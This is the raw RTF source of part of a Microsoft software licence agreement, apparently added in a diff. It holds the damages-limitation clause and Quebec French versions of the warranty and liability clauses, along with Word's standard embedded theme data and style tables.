+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid12584315 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+Limitation on and Exclusion of Damages. }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid12584315\charrsid15278441 YOU CAN RECOVER F
+ROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES.
+\par }\pard\plain \ltrpar\s25\ql \li357\ri0\sb120\sa120\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin357\itap0\pararsid12584315 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+This limitation applies to (a) anything related to the software, ser\hich\af43\dbch\af13\loch\f43 
+vices, content (including code) on third party Internet sites, or third party applications; and (b) claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicabl
+\hich\af43\dbch\af13\loch\f43 e\hich\af43\dbch\af13\loch\f43  law.
+\par }\pard\plain \ltrpar\ql \li360\ri0\sb120\sa120\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin360\itap0\pararsid12584315 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or ot
+\hich\af43\dbch\af13\loch\f43 her damages.
+\par }\pard \ltrpar\ql \li0\ri0\sb40\sa40\widctlpar\wrapdefault\faauto\adjustright\rin0\lin0\itap0\pararsid12584315 {\rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.
+\par \hich\af43\dbch\af13\loch\f43 \hich\f43 Remarque : Ce logiciel \'e9\loch\f43 \hich\f43 tant distribu\'e9\loch\f43 \hich\f43  au Qu\'e9\loch\f43 bec, Canada, certaines des clauses dans ce contrat sont fournies c\hich\af43\dbch\af13\loch\f43 \hich\f43 
+i-dessous en fran\'e7\loch\f43 ais.
+\par \hich\af43\dbch\af13\loch\f43 \hich\f43 EXON\'c9\loch\f43 RATION DE GARANTIE.}{\rtlch\fcs1 \af47\afs20 \ltrch\fcs0 \f47\fs20\cf1\lang1036\langfe1033\langnp1036\insrsid12584315\charrsid15278441 \~}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 \hich\f43 Le logiciel vis\'e9\loch\f43 \hich\f43  par une licence est offert \'ab\loch\f43 \hich\f43  tel quel \'bb\loch\f43 \hich\f43 . Toute utilisation de ce logiciel est 
+\'e0\loch\f43 \hich\f43  votre seule risque et p\'e9\loch\f43 ril. Microsoft n\hich\f43 \rquote \loch\f43 \hich\f43 accorde aucune autre garantie expresse. Vous pouvez b\'e9\loch\f43 \hich\f43 n\'e9\loch\f43 ficier de droi\hich\af43\dbch\af13\loch\f43 
+\hich\f43 ts additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9\loch\f43  marchande, d\hich\f43 \rquote 
+\loch\f43 \hich\f43 ad\'e9\loch\f43 \hich\f43 quation \'e0\loch\f43  un usage particulier et d\hich\f43 \rquote \loch\f43 absence de\hich\af43\dbch\af13\loch\f43  \hich\af43\dbch\af13\loch\f43 \hich\f43 contrefa\'e7\loch\f43 on sont exclues.
+\par }{\rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 \hich\f43 LIMITATION DES DOMMAGES-INT\'c9\loch\f43 \hich\f43 R\'ca\loch\f43 \hich\f43 TS ET EXCLUSION DE RESPONSABILIT\'c9\loch\f43 
+ POUR LES DOMMAGES.}{\rtlch\fcs1 \af47\afs20 \ltrch\fcs0 \f47\fs20\cf1\lang1036\langfe1033\langnp1036\insrsid12584315\charrsid15278441 \~}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+Vous pouvez}{\rtlch\fcs1 \af47\afs20 \ltrch\fcs0 \f47\fs20\cf1\lang1036\langfe1033\langnp1036\insrsid12584315\charrsid15278441 \hich\af47\dbch\af11\loch\f47  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 
+\hich\af43\dbch\af13\loch\f43 \hich\f43 obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0\loch\f43  hauteur de 5,00 $ US. Vous ne pou\hich\af43\dbch\af13\loch\f43 \hich\f43 vez pr\'e9\loch\f43 
+\hich\f43 tendre \'e0\loch\f43 \hich\f43  aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9\loch\f43 \hich\f43 ciaux, indirects ou accessoires et pertes de b\'e9\loch\f43 \hich\f43 n\'e9\loch\f43 fices.
+\par \hich\af43\dbch\af13\loch\f43 Cette limitation concerne:
+\par }\pard \ltrpar\ql \fi-363\li363\ri0\sb40\sa40\widctlpar\wrapdefault\faauto\adjustright\rin0\lin363\itap0\pararsid12584315 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 \loch\af43\dbch\af13\hich\f43 \'b7\~\~\~\~\tab 
+\loch\f43 \hich\f43 tout ce qui est reli\'e9\hich\af43\dbch\af13\loch\f43  au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et
+\par \loch\af43\dbch\af13\hich\f43 \'b7\~\~\~\~\~\loch\f43 \hich\f43 les r\'e9\loch\f43 \hich\f43 clamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit\'e9\loch\f43 \hich\f43  stricte, de n\'e9\loch\f43 gligenc
+\hich\af43\dbch\af13\loch\f43 e ou d\hich\f43 \rquote \loch\f43 \hich\f43 une autre faute dans la limite autoris\'e9\loch\f43 e par la loi en vigueur.
+\par }\pard \ltrpar\ql \li0\ri0\sb40\sa40\widctlpar\wrapdefault\faauto\adjustright\rin0\lin0\itap0\pararsid12584315 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 Elle s\hich\f43 \rquote 
+\loch\f43 \hich\f43 applique \'e9\loch\f43 \hich\f43 galement, m\'ea\loch\f43 \hich\f43 me si Microsoft connaissait ou devrait conna\'ee\loch\f43 tre l\hich\f43 \rquote \'e9\loch\f43 \hich\f43 ventualit\'e9\loch\f43  d\hich\f43 \rquote \loch\f43 
+un tel dommage. Si votre pays n\hich\f43 \rquote \loch\f43 autorise pas l\hich\f43 \rquote \loch\f43 \hich\f43 exclusion ou la limitation de responsabilit\'e9\hich\af43\dbch\af13\loch\f43 
+ pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l\hich\f43 \rquote \loch\f43 exclusion ci-dessus ne s\hich\f43 \rquote \loch\f43 \hich\f43 appliquera pas \'e0\loch\f43 \hich\f43  votre \'e9
+\loch\f43 gard.
+\par }{\rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 EFFET JURIDIQUE.}{\rtlch\fcs1 \af47\afs20 \ltrch\fcs0 \f47\fs20\cf1\lang1036\langfe1033\langnp1036\insrsid12584315\charrsid15278441 
+\~}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 \hich\af43\dbch\af13\loch\f43 \hich\f43 Le pr\'e9\loch\f43 \hich\f43 sent contrat d\'e9\loch\f43 crit certains droits juridiques. Vous pourriez avoir 
+\hich\af43\dbch\af13\loch\f43 d\hich\f43 \rquote \loch\f43 \hich\f43 autres droits pr\'e9\loch\f43 \hich\f43 vus par les lois de votre pays. Le pr\'e9\loch\f43 \hich\f43 sent contrat ne modifie pas les droits que vous conf\'e8\loch\f43 
+rent les lois de votre pays si celles-ci ne le permettent pas.
+\par }\pard \ltrpar\ql \li0\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid9860928\charrsid15278441 
+\par }{\*\themedata 504b030414000600080000002100e9de0fbfff0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb4ec3301045f748fc83e52d4a
+9cb2400825e982c78ec7a27cc0c8992416c9d8b2a755fbf74cd25442a820166c2cd933f79e3be372bd1f07b5c3989ca74aaff2422b24eb1b475da5df374fd9ad
+5689811a183c61a50f98f4babebc2837878049899a52a57be670674cb23d8e90721f90a4d2fa3802cb35762680fd800ecd7551dc18eb899138e3c943d7e503b6
+b01d583deee5f99824e290b4ba3f364eac4a430883b3c092d4eca8f946c916422ecab927f52ea42b89a1cd59c254f919b0e85e6535d135a8de20f20b8c12c3b0
+0c895fcf6720192de6bf3b9e89ecdbd6596cbcdd8eb28e7c365ecc4ec1ff1460f53fe813d3cc7f5b7f020000ffff0300504b030414000600080000002100a5d6
+a7e7c0000000360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4f
+c7060abb0884a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b6309512
+0f88d94fbc52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462
+a1a82fe353bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f746865
+6d652f7468656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b
+4b0d592c9c070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b
+4757e8d3f729e245eb2b260a0238fd010000ffff0300504b03041400060008000000210096b5ade296060000501b0000160000007468656d652f7468656d652f
+7468656d65312e786d6cec594f6fdb3614bf0fd87720746f6327761a07758ad8b19b2d4d1bc46e871e698996d850a240d2497d1bdae38001c3ba618715d86d87
+615b8116d8a5fb34d93a6c1dd0afb0475292c5585e9236d88aad3e2412f9e3fbff1e1fa9abd7eec70c1d1221294fda5efd72cd4324f1794093b0eddd1ef62fad
+79482a9c0498f184b4bd2991deb58df7dfbb8ad755446282607d22d771db8b944ad79796a40fc3585ee62949606ecc458c15bc8a702910f808e8c66c69b9565b
+5d8a314d3c94e018c8de1a8fa94fd05093f43672e23d06af89927ac06762a049136785c10607758d9053d965021d62d6f6804fc08f86e4bef210c352c144dbab
+999fb7b4717509af678b985ab0b6b4ae6f7ed9ba6c4170b06c788a705430adf71bad2b5b057d03606a1ed7ebf5babd7a41cf00b0ef83a6569632cd467faddec9
+699640f6719e76b7d6ac355c7c89feca9cccad4ea7d36c65b258a206641f1b73f8b5da6a6373d9c11b90c537e7f08dce66b7bbeae00dc8e257e7f0fd2badd586
+8b37a088d1e4600ead1ddaef67d40bc898b3ed4af81ac0d76a197c86826828a24bb318f3442d8ab518dfe3a20f000d6458d104a9694ac6d88728eee2782428d6
+0cf03ac1a5193be4cbb921cd0b495fd054b5bd0f530c1931a3f7eaf9f7af9e3f45c70f9e1d3ff8e9f8e1c3e3073f5a42ceaa6d9c84e5552fbffdeccfc71fa33f
+9e7ef3f2d117d57859c6fffac327bffcfc793510d26726ce8b2f9ffcf6ecc98baf3efdfdbb4715f04d814765f890c644a29be408edf3181433567125272371be
+15c308d3f28acd249438c19a4b05fd9e8a1cf4cd296699771c393ac4b5e01d01e5a30a787d72cf1178108989a2159c77a2d801ee72ce3a5c545a6147f32a9979
+3849c26ae66252c6ed637c58c5bb8b13c7bfbd490a75330f4b47f16e441c31f7184e140e494214d273fc80900aedee52ead87597fa824b3e56e82e451d4c2b4d
+32a423279a668bb6690c7e9956e90cfe766cb37b077538abd27a8b1cba48c80acc2a841f12e698f13a9e281c57911ce298950d7e03aba84ac8c154f8655c4f2a
+f074481847bd804859b5e696007d4b4edfc150b12addbecba6b18b148a1e54d1bc81392f23b7f84137c2715a851dd0242a633f900710a218ed715505dfe56e86
+e877f0034e16bafb0e258ebb4faf06b769e888340b103d3311da9750aa9d0a1cd3e4efca31a3508f6d0c5c5c398602f8e2ebc71591f5b616e24dd893aa3261fb
+44f95d843b5974bb5c04f4edafb95b7892ec1108f3f98de75dc97d5772bdff7cc95d94cf672db4b3da0a6557f70db629362d72bcb0431e53c6066acac80d699a
+6409fb44d08741bdce9c0e4971624a2378cceaba830b05366b90e0ea23aaa241845368b0eb9e2612ca8c742851ca251ceccc70256d8d87265dd96361531f186c
+3d9058edf2c00eafe8e1fc5c509031bb4d680e9f39a3154de0accc56ae644441edd76156d7429d995bdd88664a9dc3ad50197c38af1a0c16d684060441db0256
+5e85f3b9660d0713cc48a0ed6ef7dedc2dc60b17e92219e180643ed27acffba86e9c94c78ab90980d8a9f0913ee49d62b512b79626fb06dccee2a432bbc60276
+b9f7dec44b7904cfbca4f3f6443ab2a49c9c2c41476dafd55c6e7ac8c769db1bc399161ee314bc2e75cf8759081743be1236ec4f4d6693e5336fb672c5dc24a8
+c33585b5fb9cc24e1d4885545b58463634cc5416022cd19cacfccb4d30eb45296023fd35a458598360f8d7a4003bbaae25e331f155d9d9a5116d3bfb9a95523e
+51440ca2e0088dd844ec6370bf0e55d027a012ae264c45d02f708fa6ad6da6dce29c255df9f6cae0ec38666984b372ab5334cf640b37795cc860de4ae2816e95
+b21be5ceaf8a49f90b52a51cc6ff3355f47e0237052b81f6800fd7b802239daf6d8f0b1571a8426944fdbe80c6c1d40e8816b88b8569082ab84c36ff0539d4ff
+6dce591a26ade1c0a7f669880485fd484582903d284b26fa4e2156cff62e4b9265844c4495c495a9157b440e091bea1ab8aaf7760f4510eaa69a6465c0e04ec6
+9ffb9e65d028d44d4e39df9c1a52ecbd3607fee9cec7263328e5d661d3d0e4f62f44acd855ed7ab33cdf7bcb8ae889599bd5c8b3029895b6825696f6af29c239
+b75a5bb1e6345e6ee6c28117e73586c1a2214ae1be07e93fb0ff51e133fb65426fa843be0fb515c187064d0cc206a2fa926d3c902e907670048d931db4c1a449
+59d366ad93b65abe595f70a75bf03d616c2dd959fc7d4e6317cd99cbcec9c58b34766661c7d6766ca1a9c1b327531486c6f941c638c67cd22a7f75e2a37be0e8
+2db8df9f30254d30c1372581a1f51c983c80e4b71ccdd28dbf000000ffff0300504b0304140006000800000021000dd1909fb60000001b010000270000007468
+656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384e4
+350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89d93b64b060828e6f37ed1567914b284d2624
+52282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd5001996509affb3fd381a89672f1f165dfe5141
+73d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100e9de0fbfff0000001c020000130000000000000000
+0000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6a7e7c0000000360100000b00000000000000
+000000000000300100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a0000001c0000000000000000000000000019
+0200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d001400060008000000210096b5ade296060000501b00001600000000
+000000000000000000d60200007468656d652f7468656d652f7468656d65312e786d6c504b01022d00140006000800000021000dd1909fb60000001b01000027
+00000000000000000000000000a00900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d0100009b0a00000000}
+{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d
+617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169
+6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363
+656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e}
+{\*\latentstyles\lsdstimax375\lsdlockeddef0\lsdsemihiddendef0\lsdunhideuseddef0\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal;\lsdqformat1 \lsdlocked0 heading 1;
+\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 2;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 3;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 4;
+\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 5;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 6;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 7;
+\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 8;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdlocked0 heading 9;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 2;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 6;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 7;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 8;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 9;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 1;
+\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 2;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 3;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 4;
+\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 5;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 6;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 7;
+\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 8;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 9;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal Indent;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footnote text;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 header;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footer;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index heading;
+\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 table of figures;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 envelope address;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 envelope return;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footnote reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 line number;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 page number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 endnote reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 endnote text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 table of authorities;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 macro;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 toa heading;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 4;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 4;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 4;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 5;\lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Closing;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Signature;
+\lsdsemihidden1 \lsdunhideused1 \lsdpriority1 \lsdlocked0 Default Paragraph Font;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 5;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Message Header;\lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Salutation;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Date;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text First Indent;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text First Indent 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Note Heading;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text 2;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Block Text;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Hyperlink;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 FollowedHyperlink;\lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;\lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Document Map;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Plain Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 E-mail Signature;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Address;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Cite;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Code;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Definition;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Variable;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation subject;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 No List;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 1;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 2;
+\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Balloon Text;\lsdpriority59 \lsdlocked0 Table Grid;\lsdsemihidden1 \lsdlocked0 Placeholder Text;\lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing;
+\lsdpriority60 \lsdlocked0 Light Shading;\lsdpriority61 \lsdlocked0 Light List;\lsdpriority62 \lsdlocked0 Light Grid;\lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdpriority65 \lsdlocked0 Medium List 1;
+\lsdpriority66 \lsdlocked0 Medium List 2;\lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdpriority68 \lsdlocked0 Medium Grid 2;\lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdpriority70 \lsdlocked0 Dark List;\lsdpriority71 \lsdlocked0 Colorful Shading;
+\lsdpriority72 \lsdlocked0 Colorful List;\lsdpriority73 \lsdlocked0 Colorful Grid;\lsdpriority60 \lsdlocked0 Light Shading Accent 1;\lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdpriority62 \lsdlocked0 Light Grid Accent 1;
+\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdsemihidden1 \lsdlocked0 Revision;\lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;
+\lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1;
+\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 1;\lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;
+\lsdpriority60 \lsdlocked0 Light Shading Accent 2;\lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;
+\lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 2;\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2;
+\lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdpriority72 \lsdlocked0 Colorful List Accent 2;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdpriority60 \lsdlocked0 Light Shading Accent 3;
+\lsdpriority61 \lsdlocked0 Light List Accent 3;\lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;
